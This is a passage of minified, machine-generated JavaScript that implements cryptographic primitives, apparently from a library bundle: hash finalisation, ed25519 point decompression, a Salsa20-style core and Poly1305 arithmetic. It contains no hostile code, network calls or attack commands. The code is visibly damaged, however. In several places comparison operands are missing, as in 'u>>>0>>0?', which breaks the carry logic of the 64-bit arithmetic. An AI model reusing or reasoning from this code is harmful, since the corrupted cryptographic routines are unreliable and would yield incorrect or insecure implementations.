s[v+23|0]=r>>>24,r=j^Q+C,s[v+16|0]=r,s[v+17|0]=r>>>8,s[v+18|0]=r>>>16,s[v+19|0]=r>>>24,r=J^R+m,s[v+12|0]=r,s[v+13|0]=r>>>8,s[v+14|0]=r>>>16,s[v+15|0]=r>>>24,r=L^F+B,s[v+8|0]=r,s[v+9|0]=r>>>8,s[v+10|0]=r>>>16,s[v+11|0]=r>>>24,r=K^x+E,s[v+4|0]=r,s[v+5|0]=r>>>8,s[v+6|0]=r>>>16,s[v+7|0]=r>>>24,Y=!(O=O+1|0)+Y|0,!A&n>>>0<=64){if(!(!n|!A&n>>>0>63|!!(0|A)))for(Q=0;s[Q+q|0]=c[v+Q|0],n>>>0>(Q=Q+1|0)>>>0;);a[t+52>>2]=Y,a[t+48>>2]=O;break}e=e- -64|0,r=v- -64|0,A=A-1|0,A=(n=n+-64|0)>>>0<4294967232?A+1|0:A}}function D(t,e){var r,n=0,A=0,i=0,o=0,c=0,h=0,g=0;I=r=I-704|0,n=80+((A=a[t+72>>2]>>>3&127)+t|0)|0,A>>>0>=112?(Mt(n,35008,128-A|0),B(t,A=t+80|0,r,r+640|0),xt(A,0,112)):Mt(n,35008,112-A|0),h=(i=a[t+64>>2])<<24|(65280&i)<<8,A=(o=16711680&i)>>>8|0,g=o<<24,o=(c=-16777216&i)>>>24|0,n=g|c<<8|-16777216&((255&(n=a[t+68>>2]))<<24|i>>>8)|16711680&((16777215&n)<<8|i>>>24)|n>>>8&65280|n>>>24,s[t+192|0]=n,s[t+193|0]=n>>>8,s[t+194|0]=n>>>16,s[t+195|0]=n>>>24,A=(n=A|o|h)|(A=0)|A,s[t+196|0]=A,s[t+197|0]=A>>>8,s[t+198|0]=A>>>16,s[t+199|0]=A>>>24,h=(i=a[t+72>>2])<<24|(65280&i)<<8,A=(o=16711680&i)>>>8|0,g=o<<24,o=(c=-16777216&i)>>>24|0,n=g|c<<8|-16777216&((255&(n=a[t+76>>2]))<<24|i>>>8)|16711680&((16777215&n)<<8|i>>>24)|n>>>8&65280|n>>>24,s[t+200|0]=n,s[t+201|0]=n>>>8,s[t+202|0]=n>>>16,s[t+203|0]=n>>>24,A=(n=A|o|h)|(A=0)|A,s[t+204|0]=A,s[t+205|0]=A>>>8,s[t+206|0]=A>>>16,s[t+207|0]=A>>>24,B(t,t+80|0,r,r+640|0),h=(i=a[t>>2])<<24|(65280&i)<<8,A=(o=16711680&i)>>>8|0,g=o<<24,o=(c=-16777216&i)>>>24|0,n=g|c<<8|-16777216&((255&(n=a[t+4>>2]))<<24|i>>>8)|16711680&((16777215&n)<<8|i>>>24)|n>>>8&65280|n>>>24,s[0|e]=n,s[e+1|0]=n>>>8,s[e+2|0]=n>>>16,s[e+3|0]=n>>>24,A=(n=A|o|h)|(A=0)|A,s[e+4|0]=A,s[e+5|0]=A>>>8,s[e+6|0]=A>>>16,s[e+7|0]=A>>>24,h=(i=a[t+8>>2])<<24|(65280&i)<<8,A=(o=16711680&i)>>>8|0,g=o<<24,o=(c=-16777216&i)>>>24|0,n=g|c<<8|-16777216&((255&(n=a[t+12>>2]))<<24|i>>>8)|16711680&((16777215&n)<<8|i>>>24)|n>>>8&65280|n>>>24,s[e+8|0]=n,s[e+9|0]=n>>>8,s[e+10|0]=n>>>16,s[e+11|0]=n>>>24,A=(n=A|o|h)|(A=0)|A,s[e+12|0]=A,s[e+13|0]=A>>>8,s[e+14|0]=A>>>16,s[e+15|0]=A>>>24,h=(i=a[t+16>>2])<<24|(65280&i)<<8,A=(o=16711680&i)>>>8|0,g=o<<24,o=(c=-16777216&i)>>>24|0,n=g|c<<8|-16777216&((255&(n=a[t+20>>2]))<<24|i>>>8)|16711680&((16777215&n)<<8|i>>>24)|n>>>8&65280|n>>>24,s[e+16|0]=n,s[e+17|0]=n>>>8,s[e+18|0]=n>>>16,s[e+19|0]=n>>>24,A=(n=A|o|h)|(A=0)|A,s[e+20|0]=A,s[e+21|0]=A>>>8,s[e+22|0]=A>>>16,s[e+23|0]=A>>>24,h=(i=a[t+24>>2])<<24|(65280&i)<<8,A=(o=16711680&i)>>>8|0,g=o<<24,o=(c=-16777216&i)>>>24|0,n=g|c<<8|-16777216&((255&(n=a[t+28>>2]))<<24|i>>>8)|16711680&((16777215&n)<<8|i>>>24)|n>>>8&65280|n>>>24,s[e+24|0]=n,s[e+25|0]=n>>>8,s[e+26|0]=n>>>16,s[e+27|0]=n>>>24,A=(n=A|o|h)|(A=0)|A,s[e+28|0]=A,s[e+29|0]=A>>>8,s[e+30|0]=A>>>16,s[e+31|0]=A>>>24,h=(i=a[t+32>>2])<<24|(65280&i)<<8,A=(o=16711680&i)>>>8|0,g=o<<24,o=(c=-16777216&i)>>>24|0,n=g|c<<8|-16777216&((255&(n=a[t+36>>2]))<<24|i>>>8)|16711680&((16777215&n)<<8|i>>>24)|n>>>8&65280|n>>>24,s[e+32|0]=n,s[e+33|0]=n>>>8,s[e+34|0]=n>>>16,s[e+35|0]=n>>>24,A=(n=A|o|h)|(A=0)|A,s[e+36|0]=A,s[e+37|0]=A>>>8,s[e+38|0]=A>>>16,s[e+39|0]=A>>>24,h=(i=a[t+40>>2])<<24|(65280&i)<<8,A=(o=16711680&i)>>>8|0,g=o<<24,o=(c=-16777216&i)>>>24|0,n=g|c<<8|-16777216&((255&(n=a[t+44>>2]))<<24|i>>>8)|16711680&((16777215&n)<<8|i>>>24)|n>>>8&65280|n>>>24,s[e+40|0]=n,s[e+41|0]=n>>>8,s[e+42|0]=n>>>16,s[e+43|0]=n>>>24,A=(n=A|o|h)|(A=0)|A,s[e+44|0]=A,s[e+45|0]=A>>>8,s[e+46|0]=A>>>16,s[e+47|0]=A>>>24,h=(i=a[t+48>>2])<<24|(65280&i)<<8,A=(o=16711680&i)>>>8|0,g=o<<24,o=(c=-16777216&i)>>>24|0,n=g|c<<8|-16777216&((255&(n=a[t+52>>2]))<<24|i>>>8)|16711680&((16777215&n)<<8|i>>>24)|n>>>8&65280|n>>>24,s[e+48|0]=n,s[e+49|0]=n>>>8,s[e+50|0]=n>>>16,s[e+51|0]=n>>>24,A=(n=A|o|h)|(A=0)|A,s[e+52|0]=A,s[e+53|0]=A>>>8,s[e+54|0]=A>>>16,s[e+55|0]=A>>>24,h=(i=a[t+56>>2])<<24|(65280&i)<<8,A=(o=16711680&i)>>>8|0,n=e,g=o<<24,o=(c=-16777216&i)>>>24|0,e=g|c<<8|-16777216&((255&(e=a[t+60>>2]))<<24|i>>>8)|16711680&((16777215&e)<<8|i>>>24)|e>>>8&65280|e>>>24,s[n+56|0]=e,s[n+57|0]=e>>>8,s[n+58|0]=e>>>16,s[n+59|0]=e>>>24,e=(e=A|o|h)|(A=0)|A,s[n+60|0]=e,s[n+61|0]=e>>>8,s[n+62|0]=e>>>16,s[n+63|0]=e>>>24,oe(r,704),oe(t,208),I=r+704|0}function S(t,e,r){var n,A=0,o=0,h=0,g=0,u=0,l=0;I=n=I+-64|0;t:{if((r-65&255)>>>0>191){if(A=-1,!(c[t+80|0]|c[t+81|0]<<8|c[t+82|0]<<16|c[t+83|0]<<24|c[t+84|0]|c[t+85|0]<<8|c[t+86|0]<<16|c[t+87|0]<<24)){if((g=c[t+352|0]|c[t+353|0]<<8|c[t+354|0]<<16|c[t+355|0]<<24)>>>0>=129){if(h=c[0|(A=t- -64|0)]|c[A+1|0]<<8|c[A+2|0]<<16|c[A+3|0]<<24,u=o=c[A+4|0]|c[A+5|0]<<8|c[A+6|0]<<16|c[A+7|0]<<24,o=(g=h+128|0)>>>0<128?o+1|0:o,s[0|A]=g,s[A+1|0]=g>>>8,s[A+2|0]=g>>>16,s[A+3|0]=g>>>24,s[A+4|0]=o,s[A+5|0]=o>>>8,s[A+6|0]=o>>>16,s[A+7|0]=o>>>24,o=c[t+76|0]|c[t+77|0]<<8|c[t+78|0]<<16|c[t+79|0]<<24,o=(A=-1==(0|u)&h>>>0>4294967167)>>>0>(h=A+(c[t+72|0]|c[t+73|0]<<8|c[t+74|0]<<16|c[t+75|0]<<24)|0)>>>0?o+1|0:o,s[t+72|0]=h,s[t+73|0]=h>>>8,s[t+74|0]=h>>>16,s[t+75|0]=h>>>24,s[t+76|0]=o,s[t+77|0]=o>>>8,s[t+78|0]=o>>>16,s[t+79|0]=o>>>24,C(t,o=t+96|0),A=(c[t+352|0]|c[t+353|0]<<8|c[t+354|0]<<16|c[t+355|0]<<24)-128|0,s[t+352|0]=A,s[t+353|0]=A>>>8,s[t+354|0]=A>>>16,s[t+355|0]=A>>>24,A>>>0>=129)break t;Mt(o,t+224|0,A),g=c[t+352|0]|c[t+353|0]<<8|c[t+354|0]<<16|c[t+355|0]<<24}o=c[0|(A=t- -64|0)]|c[A+1|0]<<8|c[A+2|0]<<16|c[A+3|0]<<24,h=l=c[A+4|0]|c[A+5|0]<<8|c[A+6|0]<<16|c[A+7|0]<<24,h=(u=o+g|0)>>>0>>0?h+1|0:h,s[0|A]=u,s[A+1|0]=u>>>8,s[A+2|0]=u>>>16,s[A+3|0]=u>>>24,s[A+4|0]=h,s[A+5|0]=h>>>8,s[A+6|0]=h>>>16,s[A+7|0]=h>>>24,A=(0|h)==(0|l)&o>>>0>u>>>0|h>>>0>>0,o=c[t+76|0]|c[t+77|0]<<8|c[t+78|0]<<16|c[t+79|0]<<24,o=(h=A+(c[t+72|0]|c[t+73|0]<<8|c[t+74|0]<<16|c[t+75|0]<<24)|0)>>>0>>0?o+1|0:o,s[t+72|0]=h,s[t+73|0]=h>>>8,s[t+74|0]=h>>>16,s[t+75|0]=h>>>24,s[t+76|0]=o,s[t+77|0]=o>>>8,s[t+78|0]=o>>>16,s[t+79|0]=o>>>24,c[t+356|0]&&(s[t+88|0]=255,s[t+89|0]=255,s[t+90|0]=255,s[t+91|0]=255,s[t+92|0]=255,s[t+93|0]=255,s[t+94|0]=255,s[t+95|0]=255),s[t+80|0]=255,s[t+81|0]=255,s[t+82|0]=255,s[t+83|0]=255,s[t+84|0]=255,s[t+85|0]=255,s[t+86|0]=255,s[t+87|0]=255,xt((A=t+96|0)+g|0,0,256-g|0),C(t,A),o=c[t+4|0]|c[t+5|0]<<8|c[t+6|0]<<16|c[t+7|0]<<24,a[n>>2]=c[0|t]|c[t+1|0]<<8|c[t+2|0]<<16|c[t+3|0]<<24,a[n+4>>2]=o,o=c[t+12|0]|c[t+13|0]<<8|c[t+14|0]<<16|c[t+15|0]<<24,a[n+8>>2]=c[t+8|0]|c[t+9|0]<<8|c[t+10|0]<<16|c[t+11|0]<<24,a[n+12>>2]=o,o=c[t+20|0]|c[t+21|0]<<8|c[t+22|0]<<16|c[t+23|0]<<24,a[n+16>>2]=c[t+16|0]|c[t+17|0]<<8|c[t+18|0]<<16|c[t+19|0]<<24,a[n+20>>2]=o,o=c[t+28|0]|c[t+29|0]<<8|c[t+30|0]<<16|c[t+31|0]<<24,a[n+24>>2]=c[t+24|0]|c[t+25|0]<<8|c[t+26|0]<<16|c[t+27|0]<<24,a[n+28>>2]=o,o=c[t+36|0]|c[t+37|0]<<8|c[t+38|0]<<16|c[t+39|0]<<24,a[n+32>>2]=c[t+32|0]|c[t+33|0]<<8|c[t+34|0]<<16|c[t+35|0]<<24,a[n+36>>2]=o,o=c[t+44|0]|c[t+45|0]<<8|c[t+46|0]<<16|c[t+47|0]<<24,a[n+40>>2]=c[t+40|0]|c[t+41|0]<<8|c[t+42|0]<<16|c[t+43|0]<<24,a[n+44>>2]=o,o=c[t+52|0]|c[t+53|0]<<8|c[t+54|0]<<16|c[t+55|0]<<24,a[n+48>>2]=c[t+48|0]|c[t+49|0]<<8|c[t+50|0]<<16|c[t+51|0]<<24,a[n+52>>2]=o,o=c[t+60|0]|c[t+61|0]<<8|c[t+62|0]<<16|c[t+63|0]<<24,a[n+56>>2]=c[t+56|0]|c[t+57|0]<<8|c[t+58|0]<<16|c[t+59|0]<<24,a[n+60>>2]=o,Mt(e,n,r),oe(t,64),oe(A,256),A=0}return I=n- -64|0,A}Kt(),i()}f(1280,1142,306,1086),i()}function N(t,e){var r,n,A,i,o,h,g,u,l,f,p,d,y,C,m,B,E=0,w=0,_=0,Q=0,k=0,D=0,S=0;for(I=r=I-320|0,U(n=t+40|0,e),a[t+84>>2]=0,a[t+88>>2]=0,a[t+80>>2]=1,a[t+92>>2]=0,a[t+96>>2]=0,a[t+100>>2]=0,a[t+104>>2]=0,a[t+108>>2]=0,a[t+112>>2]=0,a[t+116>>2]=0,b(D=r+240|0,n),v(Q=r+192|0,D,1344),S=-1,A=a[r+240>>2]-1|0,a[r+240>>2]=A,a[r+192>>2]=a[r+192>>2]+1,i=a[r+244>>2],o=a[r+248>>2],h=a[r+252>>2],g=a[r+256>>2],u=a[r+260>>2],l=a[r+264>>2],f=a[r+268>>2],p=a[r+272>>2],d=a[r+276>>2],b(k=r+144|0,Q),v(k,k,Q),b(t,k),v(t,t,Q),v(t,t,D),I=w=I-144|0,b(_=w+96|0,t),b(E=w+48|0,_),b(E,E),v(E,t,E),v(_,_,E),b(_,_),v(_,E,_),b(E,_),b(E,E),b(E,E),b(E,E),b(E,E),v(_,E,_),b(E,_),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),v(E,E,_),b(w,E),b(w,w),b(w,w),b(w,w),b(w,w),b(w,w),b(w,w),b(w,w),b(w,w),b(w,w),b(w,w),b(w,w),b(w,w),b(w,w),b(w,w),b(w,w),b(w,w),b(w,w),b(w,w),b(w,w),v(E,w,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),v(_,E,_),b(E,_),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),v(E,E,_),b(w,E),E=1;b(w,w),100!=(0|(E=E+1|0)););v(E=w+48|0,w,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),b(E,E),v(_=w+96|0,E,_),b(_,_),b(_,_),v(t,_,t),I=w+144|0,v(t,t,k),v(t,t,D),b(E=r+96|0,t),v(E,E,Q),E=a[r+132>>2],a[r+84>>2]=E-d,w=a[r+128>>2],a[r+80>>2]=w-p,_=a[r+124>>2],a[r+76>>2]=_-f,Q=a[r+120>>2],a[r+72>>2]=Q-l,k=a[r+116>>2],a[r+68>>2]=k-u,D=a[r+112>>2],a[r+64>>2]=D-g,y=a[r+108>>2],a[r+60>>2]=y-h,C=a[r+104>>2],a[r+56>>2]=C-o,m=a[r+100>>2],a[r+52>>2]=m-i,B=a[r+96>>2],a[r+48>>2]=B-A,et(r,r+48|0);t:{if(!ht(r,32)){if(a[r+36>>2]=E+d,a[r+32>>2]=w+p,a[r+28>>2]=_+f,a[r+24>>2]=Q+l,a[r+20>>2]=k+u,a[r+16>>2]=D+g,a[r+12>>2]=h+y,a[r+8>>2]=o+C,a[r+4>>2]=i+m,a[r>>2]=A+B,et(E=r+288|0,r),!ht(E,32))break t;v(t,t,1392)}et(r+288|0,t),(1&s[r+288|0])==(c[e+31|0]>>>7|0)&&(a[t>>2]=0-a[t>>2],a[t+36>>2]=0-a[t+36>>2],a[t+32>>2]=0-a[t+32>>2],a[t+28>>2]=0-a[t+28>>2],a[t+24>>2]=0-a[t+24>>2],a[t+20>>2]=0-a[t+20>>2],a[t+16>>2]=0-a[t+16>>2],a[t+12>>2]=0-a[t+12>>2],a[t+8>>2]=0-a[t+8>>2],a[t+4>>2]=0-a[t+4>>2]),v(t+120|0,t,n),S=0}return I=r+320|0,S}function M(t,e,r){var n,A,i,o,a,h,g,u,l,f,p,d,I=0,y=0,C=0,m=0,B=0,E=0,w=0,v=0,_=0,Q=0,b=0,k=0,D=0,S=0,N=0,M=0,x=0,F=0,P=0,T=0;for(B=1634760805,y=n=c[0|r]|c[r+1|0]<<8|c[r+2|0]<<16|c[r+3|0]<<24,E=A=c[r+4|0]|c[r+5|0]<<8|c[r+6|0]<<16|c[r+7|0]<<24,w=i=c[r+8|0]|c[r+9|0]<<8|c[r+10|0]<<16|c[r+11|0]<<24,v=o=c[r+12|0]|c[r+13|0]<<8|c[r+14|0]<<16|c[r+15|0]<<24,k=857760878,_=a=c[0|e]|c[e+1|0]<<8|c[e+2|0]<<16|c[e+3|0]<<24,C=h=c[e+4|0]|c[e+5|0]<<8|c[e+6|0]<<16|c[e+7|0]<<24,b=g=c[e+8|0]|c[e+9|0]<<8|c[e+10|0]<<16|c[e+11|0]<<24,S=u=c[e+12|0]|c[e+13|0]<<8|c[e+14|0]<<16|c[e+15|0]<<24,e=2036477234,m=l=c[r+16|0]|c[r+17|0]<<8|c[r+18|0]<<16|c[r+19|0]<<24,I=1797285236,N=f=c[r+28|0]|c[r+29|0]<<8|c[r+30|0]<<16|c[r+31|0]<<24,D=p=c[r+24|0]|c[r+25|0]<<8|c[r+26|0]<<16|c[r+27|0]<<24,r=d=c[r+20|0]|c[r+21|0]<<8|c[r+22|0]<<16|c[r+23|0]<<24;Q=Gt(y+k|0,7)^S,M=Gt(Q+k|0,9)^D,v=Gt(r+B|0,7)^v,x=Gt(v+B|0,9)^b,P=Gt(x+v|0,13)^r,w=Gt(I+m|0,7)^w,F=Gt(w+I|0,9)^C,b=Gt(w+F|0,13)^m,m=Gt(F+b|0,18)^I,C=Gt(e+_|0,7)^N,r=P^Gt(m+C|0,7),D=M^Gt(r+m|0,9),N=Gt(r+D|0,13)^C,I=Gt(D+N|0,18)^m,E=Gt(e+C|0,9)^E,_=Gt(E+C|0,13)^_,e=Gt(_+E|0,18)^e,m=Gt(e+Q|0,7)^b,b=Gt(m+e|0,9)^x,S=Gt(m+b|0,13)^Q,e=Gt(b+S|0,18)^e,Q=Gt(Q+M|0,13)^y,y=Gt(Q+M|0,18)^k,_=Gt(y+v|0,7)^_,C=Gt(_+y|0,9)^F,v=Gt(C+_|0,13)^v,k=Gt(C+v|0,18)^y,B=Gt(x+P|0,18)^B,y=Gt(B+w|0,7)^Q,E=Gt(y+B|0,9)^E,w=Gt(y+E|0,13)^w,B=Gt(E+w|0,18)^B,Q=T>>>0<18,T=T+2|0,Q;);I=I+1797285236|0,s[t+60|0]=I,s[t+61|0]=I>>>8,s[t+62|0]=I>>>16,s[t+63|0]=I>>>24,I=N+f|0,s[t+56|0]=I,s[t+57|0]=I>>>8,s[t+58|0]=I>>>16,s[t+59|0]=I>>>24,I=D+p|0,s[t+52|0]=I,s[t+53|0]=I>>>8,s[t+54|0]=I>>>16,s[t+55|0]=I>>>24,r=r+d|0,s[t+48|0]=r,s[t+49|0]=r>>>8,s[t+50|0]=r>>>16,s[t+51|0]=r>>>24,r=m+l|0,s[t+44|0]=r,s[t+45|0]=r>>>8,s[t+46|0]=r>>>16,s[t+47|0]=r>>>24,e=e+2036477234|0,s[t+40|0]=e,s[t+41|0]=e>>>8,s[t+42|0]=e>>>16,s[t+43|0]=e>>>24,e=S+u|0,s[t+36|0]=e,s[t+37|0]=e>>>8,s[t+38|0]=e>>>16,s[t+39|0]=e>>>24,e=b+g|0,s[t+32|0]=e,s[t+33|0]=e>>>8,s[t+34|0]=e>>>16,s[t+35|0]=e>>>24,e=C+h|0,s[t+28|0]=e,s[t+29|0]=e>>>8,s[t+30|0]=e>>>16,s[t+31|0]=e>>>24,e=_+a|0,s[t+24|0]=e,s[t+25|0]=e>>>8,s[t+26|0]=e>>>16,s[t+27|0]=e>>>24,e=k+857760878|0,s[t+20|0]=e,s[t+21|0]=e>>>8,s[t+22|0]=e>>>16,s[t+23|0]=e>>>24,e=v+o|0,s[t+16|0]=e,s[t+17|0]=e>>>8,s[t+18|0]=e>>>16,s[t+19|0]=e>>>24,e=w+i|0,s[t+12|0]=e,s[t+13|0]=e>>>8,s[t+14|0]=e>>>16,s[t+15|0]=e>>>24,e=E+A|0,s[t+8|0]=e,s[t+9|0]=e>>>8,s[t+10|0]=e>>>16,s[t+11|0]=e>>>24,e=y+n|0,s[t+4|0]=e,s[t+5|0]=e>>>8,s[t+6|0]=e>>>16,s[t+7|0]=e>>>24,e=B+1634760805|0,s[0|t]=e,s[t+1|0]=e>>>8,s[t+2|0]=e>>>16,s[t+3|0]=e>>>24}function x(t,e,r,n){var A=0,i=0,o=0,s=0,h=0,u=0,l=0,f=0,p=0,d=0,I=0,C=0,m=0,B=0,E=0,w=0,v=0,_=0,Q=0,b=0,k=0,D=0,S=0,N=0,M=0;if(I=a[t+36>>2],p=a[t+32>>2],d=a[t+28>>2],l=a[t+24>>2],f=a[t+20>>2],!n&r>>>0>=16|n)for(k=!c[t+80|0]<<24,m=a[t+4>>2],D=g(m,5),E=a[t+8>>2],Q=g(E,5),v=a[t+12>>2],_=g(v,5),b=a[t+16>>2],w=g(b,5),B=a[t>>2];A=Bt(o=((c[e+3|0]|c[e+4|0]<<8|c[e+5|0]<<16|c[e+6|0]<<24)>>>2&67108863)+l|0,0,v,0),h=y,f=(s=Bt(l=(67108863&(c[0|e]|c[e+1|0]<<8|c[e+2|0]<<16|c[e+3|0]<<24))+f|0,0,b,0))+A|0,A=y+h|0,A=s>>>0>f>>>0?A+1|0:A,h=Bt(d=((c[e+6|0]|c[e+7|0]<<8|c[e+8|0]<<16|c[e+9|0]<<24)>>>4&67108863)+d|0,0,E,0),A=y+A|0,A=h>>>0>(f=h+f|0)>>>0?A+1|0:A,h=Bt(p=((c[e+9|0]|c[e+10|0]<<8|c[e+11|0]<<16|c[e+12|0]<<24)>>>6|0)+p|0,0,m,0),A=y+A|0,A=h>>>0>(f=h+f|0)>>>0?A+1|0:A,h=Bt(I=I+k+((c[e+12|0]|c[e+13|0]<<8|c[e+14|0]<<16|c[e+15|0]<<24)>>>8)|0,0,B,0),A=y+A|0,S=f=h+f|0,f=h>>>0>f>>>0?A+1|0:A,A=Bt(o,0,E,0),h=y,s=Bt(l,0,v,0),i=y+h|0,i=(A=s+A|0)>>>0>>0?i+1|0:i,h=(s=Bt(d,0,m,0))+A|0,A=y+i|0,A=s>>>0>h>>>0?A+1|0:A,s=Bt(p,0,B,0),A=y+A|0,A=s>>>0>(h=s+h|0)>>>0?A+1|0:A,s=Bt(I,0,w,0),A=y+A|0,N=h=s+h|0,h=s>>>0>h>>>0?A+1|0:A,A=Bt(o,0,m,0),u=y,s=(i=Bt(l,0,E,0))+A|0,A=y+u|0,A=i>>>0>s>>>0?A+1|0:A,u=Bt(d,0,B,0),i=y+A|0,i=(s=u+s|0)>>>0>>0?i+1|0:i,u=Bt(p,0,w,0),A=y+i|0,A=(s=u+s|0)>>>0>>0?A+1|0:A,u=Bt(I,0,_,0),A=y+A|0,M=s=u+s|0,s=s>>>0>>0?A+1|0:A,A=Bt(o,0,B,0),i=y,u=(C=Bt(l,0,m,0))+A|0,A=y+i|0,A=u>>>0>>0?A+1|0:A,i=Bt(d,0,w,0),A=y+A|0,A=i>>>0>(u=i+u|0)>>>0?A+1|0:A,C=Bt(p,0,_,0),i=y+A|0,i=(u=C+u|0)>>>0>>0?i+1|0:i,C=Bt(I,0,Q,0),A=y+i|0,A=(u=C+u|0)>>>0>>0?A+1|0:A,C=u,u=A,A=Bt(o,0,w,0),i=y,o=(l=Bt(l,0,B,0))+A|0,A=y+i|0,A=o>>>0>>0?A+1|0:A,l=Bt(d,0,_,0),A=y+A|0,A=(o=l+o|0)>>>0>>0?A+1|0:A,l=Bt(p,0,Q,0),A=y+A|0,A=(o=l+o|0)>>>0>>0?A+1|0:A,l=Bt(I,0,D,0),i=y+A|0,i=(o=l+o|0)>>>0>>0?i+1|0:i,l=o,A=u,A=(o=(d=(67108863&i)<<6|o>>>26)+C|0)>>>0>>0?A+1|0:A,d=o,p=(67108863&A)<<6|o>>>26,A=s,A=(o=p+M|0)>>>0